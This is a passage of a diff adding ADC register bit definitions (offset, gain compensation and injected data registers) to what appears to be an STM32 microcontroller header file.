ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 